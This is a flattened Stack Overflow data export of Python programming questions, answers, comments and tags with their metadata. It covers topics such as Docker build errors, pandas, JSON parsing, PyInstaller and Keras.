has title: Can't create a docker image for COPY failed: stat /var/lib/docker/tmp/docker-builder error
downvote count: 0
has answer: http://stackoverflow.com/a/59340819
has comment: http://stackoverflow.com/comment/117559878
has answer: http://stackoverflow.com/a/57991821
answer count: 23
has answer: http://stackoverflow.com/a/77459154
tagged with: dockerfile
has body: I want to create a docker image. This is my work directory: Dockerfile.in test.json test.py And this is my Dockerfile: COPY ./test.json /home/test.json COPY ./test.py /home/test.py RUN python test.py When i launch this command: docker build -f Dockerfile.in -t 637268723/test:1.0 . It gives me this error: `Step 1/5 : COPY ./test.json /home/test.json ---&gt; Using cache ---&gt; 6774cd225d60 Step 2/5 : COPY ./test.py /home/test.py COPY failed: stat /var/lib/docker/tmp/docker-builder428014112/test.py: no such file or directory` Can anyone help me?
favorite count: 0
has comment: http://stackoverflow.com/comment/124358093
type: Question
has answer: http://stackoverflow.com/a/75179100
has answer: http://stackoverflow.com/a/49966719
tagged with: docker-image
has answer: http://stackoverflow.com/a/54688266
has answer: http://stackoverflow.com/a/52214300
has answer: http://stackoverflow.com/a/72214185
has comment: http://stackoverflow.com/comment/98444112
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81838534
upvote count: 125
has comment: http://stackoverflow.com/comment/106814285
has comment: http://stackoverflow.com/comment/80769985
has answer: http://stackoverflow.com/a/62082573
has answer: http://stackoverflow.com/a/62597100
has comment: http://stackoverflow.com/comment/80763951
has answer: http://stackoverflow.com/a/74072264
tagged with: python
has answer: http://stackoverflow.com/a/64426989
has answer: http://stackoverflow.com/a/51352469
has answer: http://stackoverflow.com/a/60822951
has answer: http://stackoverflow.com/a/65650124
has answer: http://stackoverflow.com/a/61612385
has answer: http://stackoverflow.com/a/58245484
has answer: http://stackoverflow.com/a/61340426
tagged with: docker
has answer: http://stackoverflow.com/a/58687911
has comment: http://stackoverflow.com/comment/114232350
has answer: http://stackoverflow.com/a/61134866
has comment: http://stackoverflow.com/comment/80767166
has answer: http://stackoverflow.com/a/47729461
score: 125
has answer: http://stackoverflow.com/a/55867033
has comment: http://stackoverflow.com/comment/80768136
has answer: http://stackoverflow.com/a/54628444

http://stackoverflow.com/q/46915836
has body: I have these four classes. class Button(object): def __init__(self): pass def invoke(self): return self.button_dict class Template(object): def __init__(self): pass def message(self): message = {'attachment': { 'type': self.type }} message['attachment'].update(self.payload) return message class URLButton(Button): def __init__(self, title, url): self.button_dict = { 'type': 'web_url', 'title': title, 'url': url } class ButtonTemplate(Template): def __init__(self, title, buttons): if (not all(isinstance(button, Button) for button in buttons)): raise ValueError('Invalid Buttons instances.') self.type = 'button' self.payload = { 'title': title, 'buttons': [ button.invoke() for button in buttons ] } Calling... ButtonList = [ URLButton('Test URL 1', 'http://example.com'), URLButton('Test URL 2', 'http://example.com'), 'Invalid button here' ] print(ButtonTemplate('Test', ButtonList).message()) I have a lot of classes expecting a list of Button instances and I want to avoid this validation below in all my classes: if (not all(isinstance(button, Button) for button in buttons)): raise ValueError('Invalid Buttons instances.') Is there a way to force an argument to be a list of instances? What's the better way to restrict an argument? Working snippet: https://repl.it/NJUv/2
has comment: http://stackoverflow.com/comment/80780623
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/46916731
upvote count: 1
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80778949
tagged with: oop
accepted answer: http://stackoverflow.com/a/46916731
score: 1
has comment: http://stackoverflow.com/comment/80780788
has title: How to restrict a class __init__ argument to be a list of another class?
tagged with: python
type: Question

http://stackoverflow.com/comment/80833349
score: 0
comment on: http://stackoverflow.com/q/46942778
type: Comment
type: QuestionComment
has text: I checked the value during a couple runs and it looks right. I think the issue I'm having is I'm not even sure if i'm submitting to the right element or if this is the right way to go about it

http://stackoverflow.com/q/46944582
type: Question
accepted answer: http://stackoverflow.com/a/46944617
has answer: http://stackoverflow.com/a/46944617
tagged with: http://stackoverflow.com/tag/json
has title: Accessing values from a nested JSON file in python
tagged with: python
has body: This is the cred.json file I am trying to parse in my program. {"accounts":[ { "id":"1", "username":"user1", "password":"password1" }, { "id":"2", "username":"user2", "password":"password2" } ]} Here is the code I use for it. This works, but I know it isn't the best way to do it. import json with open('cred.json') as cred_file: parsed_json = json.load(cred_file) cred_file.close for x in range(0,2): user = parsed_json["accounts"][x]["username"] password = parsed_json["accounts"][x]["password"] print user, ":", password I want to do the same thing, without specifying the range for the loop. When I try to do the same with iteritems() or get() it is giving me error saying unicode doesn't support those functions. Please suggest me a better way to do this.
type: AnsweredQuestion
answer count: 2
possible better answer: http://stackoverflow.com/a/46944675
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/46944675
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81073587
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47062551
has text: Basically what I am asking is, is there a way I can read the data from the first round of scores into a python list and as the file is being read through eventually it'll hit a cell that contains "Round 2", at which point I want to stop adding data to the first list and start adding it to the second. Does that make sense?

http://stackoverflow.com/q/47045669
type: Question
has answer: http://stackoverflow.com/a/47045713
has body: The heading may sound bizarre but here is what I mean: def f(x, y, z): return a_single_number_from_xyz l = [(10, 'abc', 'def'), (20, 'efg', 'hij')] print sum([ret_value_of_f_from_first_tuple, ret_value_of_f_from_second_tuple]) The three arguments of function f is the three elements of each of the tuple. Now, I want to apply function f to every tuple of list l and want to get the sum of those single numbers. How do I do that in a single statement? How do I map function and use list comprehension together here?
tagged with: map-function
possible better answer: http://stackoverflow.com/a/47045744
accepted answer: http://stackoverflow.com/a/47045710
tagged with: python
tagged with: list-comprehension
answer count: 4
has comment: http://stackoverflow.com/comment/81038776
score: 8
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/50042242
has comment: http://stackoverflow.com/comment/81038762
tagged with: list
has comment: http://stackoverflow.com/comment/81038747
has answer: http://stackoverflow.com/a/47045725
duplicate of: http://stackoverflow.com/q/50042242
has title: Python map function with multiple arguments to a list of tuples
has answer: http://stackoverflow.com/a/47045744
downvote count: 0
has answer: http://stackoverflow.com/a/47045710
upvote count: 8
favorite count: 0

http://stackoverflow.com/comment/80784013
has text: It is not synchronous RequestResponse. When a new record is generated/edited in the DynamoDB, the lambda starts executing for that record. When there are 100 records generated in DynamoDB, lambda is running one by one for each record. When a record fails execution, it is rerunning for the same record.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46916670
score: 0

http://stackoverflow.com/a/47044673
answers question: http://stackoverflow.com/q/47044127
type: Answer
score: -1
accepted answer of: http://stackoverflow.com/q/47044127
has body: You should do as you say. However, the sum of the names is not possible if you initialize the column_sum to 0 (which is an integer). The sum of the names does not seem relevant. But if you want the function get_total to work on any column, you should first check if the variables are integers. If not, then return 0 for instance. def get_total(index, stations): if not stations: # The list is empty return 0 if type(stations[0][index]) is int: # The sum is possible return sum([station[index] for station in stations]) return 0
upvote count: 0
type: AcceptedAnswer
downvote count: 1

http://stackoverflow.com/q/47057535
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81065001
has comment: http://stackoverflow.com/comment/81062466
tagged with: version-control
has comment: http://stackoverflow.com/comment/81063126
tagged with: python
has body: We're using CKEditor to generate HTML content when author writes his book. We're storing that content to a separate HTML file on the disk using python-django. But now, we have got a requirement from client to show the history/revision of the files (list of timestamps in a sidebar whenever author has pressed ctrl+s), like the Eclipse does: I am planning to use diff by taking intersection of the html texts stored at 2 different times. But I am not getting any idea about how to take the diff of images, audios and videos. Any idea how git, eclipse or Vesrsion control systems do that? Do they use any kind of encoding such as SHA to store it on the disk? Please suggest if any other method I can use to do this. I'm ready to use if any open source python lib available. I googled but no luck.
has answer: http://stackoverflow.com/a/47091734
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/81062356
has title: Python - File or Folder Content Version Control
accepted answer: http://stackoverflow.com/a/47091734
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81127591
has comment: http://stackoverflow.com/comment/81065662
tagged with: django

http://stackoverflow.com/a/47059374
has body: If you use a dictionary instead, with the key being the food item, you can use this code: testlist = {"Chips":[1,2],"Chocolate":[3,4]} output = max(testlist, key=lambda x: testlist[x][-1]) print output Which outputs: Chocolate
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81066318
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/47059256

http://stackoverflow.com/comment/80807629
comment on: http://stackoverflow.com/a/46930388
has text: I'm trying to do B * A, I've tried what you suggested and got operands could not be broadcast together with shapes (3,3) (x, y, 3)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/80903481
has text: Ok let me try that - just briefly reading about it now - it looks like I can pass PNG files, which might look better anyway. Thanks!
comment on: http://stackoverflow.com/q/46977790
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/q/46948494
tagged with: conda
has comment: http://stackoverflow.com/comment/80934150
favorite count: 0
score: 2
answer count: 0
has body: I have a workflow with several rules. One rule needs a py2 dependent tool. Thus I would like to specify a certain conda environment for this specific rule but I get the an error for this. Environment: Debian 8, Conda 4.3.25 and snakemake 3.11.2 Here is how I run my workflow: Create default environment with conda env create --name myworkflow --file environment.yml source activate myworkflow snakemake -ps workflow.snake --use-conda It is trying to create the environment, but then runs into an error. If I run conda create env --name python2_tool --file environment2.yaml from within the activated environment there is no error. But with the --prefix it is not working. So I am wondering what is going wrong here? The error looks as followed: ERROR conda.core.link:_execute_actions(337): An error occurred while installing package 'defaults::icu-54.1-0' OSError(95, 'Operation not supported') Attempting to roll back. OSError(95, 'Operation not supported') The rule causing problems looks like that: rule annotation: input: "{condition}.bed" output: "{condition}_annotated.bed" threads: 8 conda: "envs/environment2.yml" shell: "wrapper.sh -i {input} -o {output} -c {threads}"
upvote count: 2
type: UnansweredQuestion
tagged with: snakemake
downvote count: 0
has comment: http://stackoverflow.com/comment/83755773
has comment: http://stackoverflow.com/comment/80965577
type: Question
has title: How to use environment per rule in snakemake?
tagged with: python
has comment: http://stackoverflow.com/comment/80896353

http://stackoverflow.com/a/47009905
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47009838
has body: it is because you generate the random position once and use it for all questions. randomo=randint(0,5) move this line inside the for loop, then you will have a new random position for each question.
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47009838

http://stackoverflow.com/comment/81062768
score: 0
type: AnswerComment
has text: you should definately edit your answer, by referencing to Alasdair's answer and add my clarifiaction, because it is a good point, only wrongly stated.
type: Comment
comment on: http://stackoverflow.com/a/47056443

http://stackoverflow.com/q/46922669
has title: how to skip an error prone query and jump to next one in python
has body: I have 10 rows in a dataframe and each row having a single query. I am looping through each row of the dataframe and try to execute the query. Among those 10 rows there were some query issues. I want to skip those queries and execute next query. Any help is greatly appreciated
has comment: http://stackoverflow.com/comment/80792572
type: Question
has answer: http://stackoverflow.com/a/46922746
accepted answer: http://stackoverflow.com/a/46922746
has comment: http://stackoverflow.com/comment/80792730
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: sql
answer count: 1
tagged with: teradata

http://stackoverflow.com/q/46923813
has comment: http://stackoverflow.com/comment/80794689
downvote count: 1
has answer: http://stackoverflow.com/a/65799140
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80794717
has comment: http://stackoverflow.com/comment/80794756
has body: I want to make a program that can calculate physics equation where the user enters different parameters: I know its simple like: v=5 t=7 s=v*t print(s) its only calculating s = v*t; however, when I want the equation of v if show me an error. Hard coding v = s/t gives me the correct result: s=5 t=7 v=s/t print(v) I want an equation that can solve with different user input; that is if user inputs the v and t , the equation will return s = v*t and if the user inputs s and t the equation will return v = s/v.
tagged with: python
has comment: http://stackoverflow.com/comment/80794662
has answer: http://stackoverflow.com/a/46924087
answer count: 4
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/46924023
upvote count: 2
score: 1
accepted answer: http://stackoverflow.com/a/46924012
has answer: http://stackoverflow.com/a/46924023
tagged with: equation
has title: physics equation in python
has answer: http://stackoverflow.com/a/46924012

http://stackoverflow.com/q/46995209
has comment: http://stackoverflow.com/comment/80937060
tagged with: keras
accepted answer: http://stackoverflow.com/a/46995374
favorite count: 0
type: Question
score: 3
has comment: http://stackoverflow.com/comment/80936912
has comment: http://stackoverflow.com/comment/80937175
has comment: http://stackoverflow.com/comment/80936981
tagged with: python
has answer: http://stackoverflow.com/a/46995374
type: AnsweredQuestion
upvote count: 3
has comment: http://stackoverflow.com/comment/80936970
answer count: 2
tagged with: deep-learning
downvote count: 0
has comment: http://stackoverflow.com/comment/80937071
has comment: http://stackoverflow.com/comment/80937035
possible better answer: http://stackoverflow.com/a/46996038
has comment: http://stackoverflow.com/comment/80936947
tagged with: neural-network
tagged with: machine-learning
has answer: http://stackoverflow.com/a/46996038
has title: Neural network toy model to fit sine function fails, what's wrong?
has body: Graduate student, new to Keras and neural networks was trying to fit a very simple feedforward neural network to a one-dimensional sine. Below are three examples of the best fit that I can get. On the plots, you can see the output of the network vs ground truth The complete code, just a few lines, is posted here example Keras I was playing with the number of layers, different activation functions, different initializations, and different loss functions, batch size, number of training samples. It seems that none of those were able to improve the results beyond the above examples. I would appreciate any comments and suggestions. Is sine a hard function for a neural network to fit? I suspect that the answer is not, so I must be doing something wrong... There is a similar question here from 5 years ago, but the OP there didn't provide the code and it is still not clear what went wrong or how he was able to resolve this problem.
linked to: http://stackoverflow.com/q/1565115

http://stackoverflow.com/comment/81065922
has text: That worked! .. and I just realized I *wasn't* following the answer from that link, as you pointed out.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47057299

rx-py
tags question: http://stackoverflow.com/q/46957250
tag name: rx-py
tags question: http://stackoverflow.com/q/46912734
type: Tag

http://stackoverflow.com/q/46975015
has answer: http://stackoverflow.com/a/46975110
linked to: http://stackoverflow.com/q/10665591
has comment: http://stackoverflow.com/comment/80897605
tagged with: python
has answer: http://stackoverflow.com/a/46975289
has answer: http://stackoverflow.com/a/46975102
has answer: http://stackoverflow.com/a/46975118
has body: I want to delete all the elemnts of the list from the index 4 to 9. Why isn't the code below working. m=[0,1,2,3,4,5,6,7,8,9] for i in range(4,10,1): del m[i] The output is: Traceback (most recent call last): File "&lt;pyshell#45&gt;", line 2, in &lt;module&gt; del m[i] IndexError: list assignment index out of range But after this the contents of m becomes `[0, 1, 2, 3, 5, 7, 9]
upvote count: 1
downvote count: 3
has title: Deletion using Range in Python
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80897602
has answer: http://stackoverflow.com/a/46975149
answer count: 5
type: UnansweredQuestion
score: -2

http://stackoverflow.com/comment/101449668
type: Comment
comment on: http://stackoverflow.com/a/57475377
score: 0
type: AnswerComment
has text: ok, I have improved my answer. I think I just followed the pattern of answers in this post @Gsk

http://stackoverflow.com/comment/80987620
has text: @AndreaRastelli a guaranteed way is to use `list(some_iterable)` and then take its length... Depending how the DB/library you're using works - it may not know what the resulting length is if it's streaming data or returning data in pages and only knows when it's done by there being no more data... (ergo you have to either exhaust it first or find the length apriori...)
comment on: http://stackoverflow.com/q/47020377
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/q/46908388
upvote count: 11
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46908540
answer count: 2
accepted answer: http://stackoverflow.com/a/46908540
has body: i have a dataframe id lat long 1 12.654 15.50 2 14.364 25.51 3 17.636 32.53 5 12.334 25.84 9 32.224 15.74 I want to find the euclidean distance of these coordinates from a particulat location saved in a list L1 L1 = [11.344,7.234] i want to create a new column in df where i have the distances id lat long distance 1 12.654 15.50 2 14.364 25.51 3 17.636 32.53 5 12.334 25.84 9 32.224 15.74 i know to find euclidean distance between two points using math.hypot(): dist = math.hypot(x2 - x1, y2 - y1) How do i write a function using apply or iterate over rows to give me distances.
downvote count: 0
tagged with: euclidean-distance
score: 11
has title: Find euclidean distance from a point to rows in pandas dataframe
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/46908487
tagged with: pandas
has answer: http://stackoverflow.com/a/46908487
tagged with: dataframe
tagged with: python

http://stackoverflow.com/q/46938791
has answer: http://stackoverflow.com/a/46938845
has comment: http://stackoverflow.com/comment/80824928
type: AnsweredQuestion
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/80826067
has answer: http://stackoverflow.com/a/46939229
answer count: 2
has comment: http://stackoverflow.com/comment/80828875
has comment: http://stackoverflow.com/comment/80824838
upvote count: 1
downvote count: 1
possible better answer: http://stackoverflow.com/a/46939229
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80825518
tagged with: while-loop
has title: Validating inputs and using conditions seems to continue looping
has comment: http://stackoverflow.com/comment/80824895
tagged with: if-statement
tagged with: break
tagged with: python
has body: As shown below, I'm providing the user with an option to spend points, I'm ensuring that the input contains either of 'y yes n no'. If the user would like to spend points he's prompted to select a number which differs the assignment of v, I'm ensuring the input is a number using .isdigit(). If the user wouldn't like to spend points v is simply assigned to 0.0 while True: choice = raw_input('\nSpend points?') if choice.lower().strip() in "y yes n no".split(): while True: if choice.lower().strip() in "y yes".split(): c = raw_input('Enter Value 1-6: ') if c.isdigit() and int(c) &lt;= 6: if choice.lower().strip() in "y yes".split(): if c == '1': v = 0.3 if c == '2': v = 0.25 if c == '3': v = 0.2 if c == '4': v = 0.1 if c == '5': v = 0.05 if c == '6': v = 0.75 break if choice.lower().strip() in "n no".split(): v = 0.0 break else: continue else: continue print v However, although the code works fine, after v seems to be printed successfully, the code will continue looping back to 'Would you like to spend credits?' I believe the problem lies with my break statement, but I'm not sure where it's supposed to go.
accepted answer: http://stackoverflow.com/a/46938845

http://stackoverflow.com/a/46926558
has comment: http://stackoverflow.com/comment/80808088
type: Answer
accepted answer of: http://stackoverflow.com/q/46926464
has comment: http://stackoverflow.com/comment/81171198
has comment: http://stackoverflow.com/comment/81170687
has comment: http://stackoverflow.com/comment/81171295
has comment: http://stackoverflow.com/comment/80807367
answers question: http://stackoverflow.com/q/46926464
has comment: http://stackoverflow.com/comment/80799911
has comment: http://stackoverflow.com/comment/81170274
has body: Use str.findall + str.join + str.len: extracted = df['Description'].str.findall('(' + '|'.join(my_list) + ')') df['keys'] = extracted.str.join(',') df['count'] = extracted.str.len() print (df) Name Description keys count 0 Ram Ram is one of the good cricketer one,good 2 1 Sri Sri is one of the member one 1 EDIT: import re my_list=["ONE","good"] extracted = df['Description'].str.findall('(' + '|'.join(my_list) + ')', flags=re.IGNORECASE) df['keys'] = extracted.str.join(',') df['count'] = extracted.str.len() print (df) Name Description keys count 0 Ram Ram is one of the good cricketer one,good 2 1 Sri Sri is one of the member one 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81171235
has comment: http://stackoverflow.com/comment/81169590
downvote count: 0
has comment: http://stackoverflow.com/comment/80800048
has comment: http://stackoverflow.com/comment/81170566
has comment: http://stackoverflow.com/comment/80807676
has comment: http://stackoverflow.com/comment/80806034
has comment: http://stackoverflow.com/comment/81170648
has comment: http://stackoverflow.com/comment/81170293
has comment: http://stackoverflow.com/comment/81170632
has comment: http://stackoverflow.com/comment/80807094
score: 5
upvote count: 5

http://stackoverflow.com/comment/81001640
comment on: http://stackoverflow.com/q/47027088
score: 0
type: Comment
has text: _I have tried it again as 'C:\\sqlite\db\pythonsqlite.db'_ This comment makes me think that you aren't certain what the database filename is. Do you know the exact filename, or not?
type: QuestionComment

http://stackoverflow.com/q/47042328
has body: ERROR: This application failed to start because it could not find or load the Qt platform plugin "windows" in "". ISSUE: I can solve this by specifying the QT_QPA_PLATFORM_PLUGIN_PATH environment variable to C:\Users\esandberg\AppData\Local\Continuum\anaconda3\pkgs\qt-5.6.2-vc14h6f8c307_12\Library\plugins\platforms But then it will only run on my own computer. I don't know how to make it run on computers I send the one-file executable to. DESIRED SOLUTION: A way to have my executable automatically know where the Qt platform plugins are when bundled and deployed to other computers. I'm trying to use PyInstaller to generate a single file executable for a program I wrote. My program has the following imports: import numpy as np import os import imageio from matplotlib import pyplot as plt import numpy.fft as fft import tkinter as tk import tkinter.filedialog as FD import time from scipy import signal Here is my PyInstaller command: pyinstaller.exe --onefile --windowed --hidden-import=tkinter --hidden-import=scipy --hidden-import=matplotlib --hidden-import=fixtk --hidden-import=scipy.integrate MY_FILE_NAME.py Please note: The executable works fine on all computers UNTIL a user tries to make a plot using a tkinter button. That's when it crashes and the ERROR is shown. I have tried solutions from every similar question and none have worked, so please help tackle this unique case! Thanks in advance for your help! Erik
favorite count: 0
type: UnansweredQuestion
tagged with: pyinstaller
has answer: http://stackoverflow.com/a/47045634
tagged with: python
has answer: http://stackoverflow.com/a/47061302
tagged with: qt
answer count: 2
has title: Pyinstaller --onefile executable only works if QT_QPA_PLATFORM_PLUGIN_PATH is set
type: Question
score: 1
tagged with: executable
tagged with: matplotlib
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80959447
has text: If you use `re.search`, then you need the `^` at the beginning, but for `re.match` the search is implicitly anchored at the start of the string (but not the end of the string).
comment on: http://stackoverflow.com/a/47006331
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/46978948
favorite count: 0
has comment: http://stackoverflow.com/comment/80907197
has answer: http://stackoverflow.com/a/46979141
has comment: http://stackoverflow.com/comment/80905627
has answer: http://stackoverflow.com/a/70536940
tagged with: math
has comment: http://stackoverflow.com/comment/80906057
tagged with: python
has title: Move a vertex along a plane, given the plane normal
type: Question
has comment: http://stackoverflow.com/comment/80905983
tagged with: numpy
answer count: 2
tagged with: 3d
type: UnansweredQuestion
score: 1
has body: I have a 3D vector and a 3D face normal. How do I go along to move this vector along the given face normal using Python (with or without numpy)? Ideally, I'd build a matrix using the face normal with the x and y and multiply it by the original vector or something like that, but I can't get my head around on how to build it. It's been a while since Linear Algebra. EDIT: Thanks for pointing out that my question was too broad. My goal is to get a new point, that is x and y units away from the original point, along the face defined by its normal. Example: If the point is (0,0,0) and the normal is (0, 0, 1), the result would be (x, y, 0). Example 2: If the point is (1, 0, 0) and the normal is (0, 1, 0), the result would be (1+x, 0, y). I'd need to extrapolate that to work with any point, normal, x and y.
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47062354
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47063215
has comment: http://stackoverflow.com/comment/81073064
has comment: http://stackoverflow.com/comment/81073842
has title: Decimal number parse in Python
upvote count: 0
has comment: http://stackoverflow.com/comment/81072775
linked to: http://stackoverflow.com/q/10303797
score: -2
downvote count: 2
has comment: http://stackoverflow.com/comment/81073270
accepted answer: http://stackoverflow.com/a/47063215
has comment: http://stackoverflow.com/comment/81072711
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81072738
has body: I have a number as in below: .12 in my code I convert this number to string and parse it from the "point" to decimal as in below: mydecimal = str(mydecimal_new) whole_number = mydecimal.split('.') main_number = whole_number[0] #print(main_number) additional_number = whole_number[1] #print(additional_number) My problem is when I try to convert this number to str python add 0 in front of the number and it keep the number as: 0.12 I want to know how can I avoid from the adding zero in front of this
has comment: http://stackoverflow.com/comment/81072791
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81072726

http://stackoverflow.com/comment/80994165
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47023467
type: Comment
has text: Some of the `if boatList['submarine1'] ...` statements assign to different variables when `True` than others. Is that correct or just a typo?

http://stackoverflow.com/comment/80832665
has text: Directly - the short answer is "no". `import` loads and compiles the module into the current interpreter... you'll have to find another way if you can't just easily port the other module.
comment on: http://stackoverflow.com/q/46942566
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/q/46985609
has answer: http://stackoverflow.com/a/46993011
tagged with: python
has body: I have a CSV file with dates and data points, which are just -1, 0, and 1. A -1 means a stock closed the day lower than it opened (money is lost), a 0 means there was no change in the price, and 1 means the stock closed the day higher than it opened. How can I write a script, in R or Python, to find the optimal trading pattern? If the stock is going up I want to buy it, if it is going down, I want to sell it, and if there is no change in price then do nothing. I'm guessing it will be something like this: x &lt;- c(1,1,0,-1,0,1) cumsum(x) import numpy as np print(np.cumsum([1,1,0,-1,0,1])) I'm not sure how to add in the buy, sell, or hold conditions.
type: AnsweredQuestion
score: 2
upvote count: 2
answer count: 1
downvote count: 0
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/r
accepted answer: http://stackoverflow.com/a/46993011
has title: Optimized Stock Trading Script

http://stackoverflow.com/a/46976328
score: 0
type: Answer
has body: You can try this: a = {'44': [0, 0, 1, 0, 1], '43': [0, 0, 1, 0, 0]} b = {'44': ['test1'], '43': ['test2']} final_data = {c:a[c]+b[c] for c, d in a.items()} Output: {'44': [0, 0, 1, 0, 1, 'test1'], '43': [0, 0, 1, 0, 0, 'test2']} If you need to generate the "test1", "test2" values, etc, you can try this: l1 = {} for c, d in a.items(): if d not in l1.values(): l1["test{}".format(len(l1)+1)] = d print(l1) Output: {'test1': [0, 0, 1, 0, 1], 'test2': [0, 0, 1, 0, 0]}
answers question: http://stackoverflow.com/q/46975957

http://stackoverflow.com/a/46996896
upvote count: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/46996833
has comment: http://stackoverflow.com/comment/80940716
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46996833
downvote count: 0
has body: If you need month and day to be formatted as m-d, then not to separate them from the beginning is a more reasonable approach, for instance, you can format Date column as %m-%d, group by this variable and do aggregations you need: dframe.groupby(pd.to_datetime(dframe['Date']).dt.strftime('%m-%d'))['Data_Value'].min() A short example: dframe = pd.DataFrame({ 'Date': ['2017-08-01', '2016-08-01', '2017-08-02'], 'Data_Value': [2,3,4] }) dframe.groupby(pd.to_datetime(dframe['Date']).dt.strftime('%m-%d'))['Data_Value'].min() #Date #08-01 2 #08-02 4 #Name: Data_Value, dtype: int64
score: 3

http://stackoverflow.com/comment/80998095
score: 0
type: Comment
has text: @harvey_slash whats a dmg? also I was confused with that post because i didn't understand what package I use to put in place of what the person posted. i.e. ( pip install --index-url=http://pypi.python.org/simple/ --trusted-host pypi.python.org <package_name>)
type: QuestionComment
comment on: http://stackoverflow.com/q/47025256

http://stackoverflow.com/a/76013606
score: 0
answers question: http://stackoverflow.com/q/46920454
type: Answer
has body: Not relevant to your exact case using strings, but relevant to the question as stated in the title: If you have a range of numbers you would like to replace you can provide range() as a dict key. # Dymmy dataframe with two columns df = pd.DataFrame(dict(a=[1, 2, 3, 4, 5], b=[66, 44, 33, 22, 77])) # Mapping that will replace 1 with 'x', 2, 3, 4 with 'y' and 5 with 'z' in column 'a' mapping = {"a": {1: "x", range(2, 5): "y", 5: "z"}} df.replace(mapping)

http://stackoverflow.com/a/47051469
type: AcceptedAnswer
downvote count: 0
has body: With sudo venv/bin/python, you effectively activated virtualenv by using python executable in virtualenv directly. multiprocessing.Process spawn child process with fork(), without exec(), it uses exactly the same python executable as the parent process. You could confirm python executable in-use by: &gt;&gt;&gt; import sys &gt;&gt;&gt; print(sys.executable) /Users/georgexsh/workspace/tmp/venv/bin/python &gt;&gt;&gt; print(sys.exec_prefix) /Users/georgexsh/workspace/tmp/venv/bin/.. Do not use which to determine running python executable path. which, as a Bash command, searches each element of $PATH, for a directory containing an executable file named "python", as you use virtualenv's python directly, not by run its shell activate script first, $PATH not get patched with virtualenv's, as a result, shell command which python would output path of the system python executable. In fact, at python layer, $PATH is irrelevant, patching $PATH is for the convenience at the Bash layer, to invoke python executable in the virtualenv path by just typing "python", rather than typing full path, What matters most is which python executable is invoked, but not how it is get invoked.
has comment: http://stackoverflow.com/comment/81294084
score: 3
answers question: http://stackoverflow.com/q/46978624
type: Answer
accepted answer of: http://stackoverflow.com/q/46978624
upvote count: 3

join
tags question: http://stackoverflow.com/q/46918010
type: Tag
tag name: join
tags question: http://stackoverflow.com/q/46943954
tags question: http://stackoverflow.com/q/46928356
tags question: http://stackoverflow.com/q/46962402

http://stackoverflow.com/comment/80867985
has text: jpg is more difficult you need Pillow. Png and Gif (not animated and no transparent backgrounds) are supported by default in Tkinter. You might consider converting Image formats to Png or Gif.
score: 2
type: QuestionComment
comment on: http://stackoverflow.com/q/46960174
type: Comment

http://stackoverflow.com/a/46957433
score: 4
has comment: http://stackoverflow.com/comment/80864454
answers question: http://stackoverflow.com/q/46957265
accepted answer of: http://stackoverflow.com/q/46957265
has comment: http://stackoverflow.com/comment/80864261
upvote count: 4
has comment: http://stackoverflow.com/comment/80864319
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: Try hashing the dictionaries before adding them to your set. To do this, simply turn the dictionary into a string. d1 = { "name": "John", "id": 1} d2 = { "name": "Carl", "id": 5} d3 = { "name": "John", "id": 1} s = set() for d in [d1,d2,d3]: if str(d) not in s: s.add(str(d))

http://stackoverflow.com/comment/81050715
type: AnswerComment
has text: I got this error: `TypeError: translate() takes exactly one argument (2 given)`
comment on: http://stackoverflow.com/a/47051770
type: Comment
score: 0

http://stackoverflow.com/comment/80875078
has text: Try removing item 1 for each pass, rather than item i.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46963475

http://stackoverflow.com/comment/81110118
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47040038
type: Comment
has text: My column contains multiple string seperated by comma. The df is taking only the first value. For example the cell JN1 has value "UC,UC", JN2 - "remission,No IBS, No IBD" JN3 - "Healthy,normal', JN4 - "Chrons Disease, IBD". I had these values in multiple column which I combined in one column using this: new = df1.apply(lambda x: ','.join(x.dropna()), axis=1) Now I want new column which has corresponding value of 0 for Chrons disease as 0 and healthy as 1.

h2o
tags question: http://stackoverflow.com/q/46937314
tag name: h2o
type: Tag
tags question: http://stackoverflow.com/q/46971969
tags question: http://stackoverflow.com/q/47049458

http://stackoverflow.com/comment/80835337
type: QuestionComment
comment on: http://stackoverflow.com/q/46943922
score: 0
has text: Do you mean clear or restart?
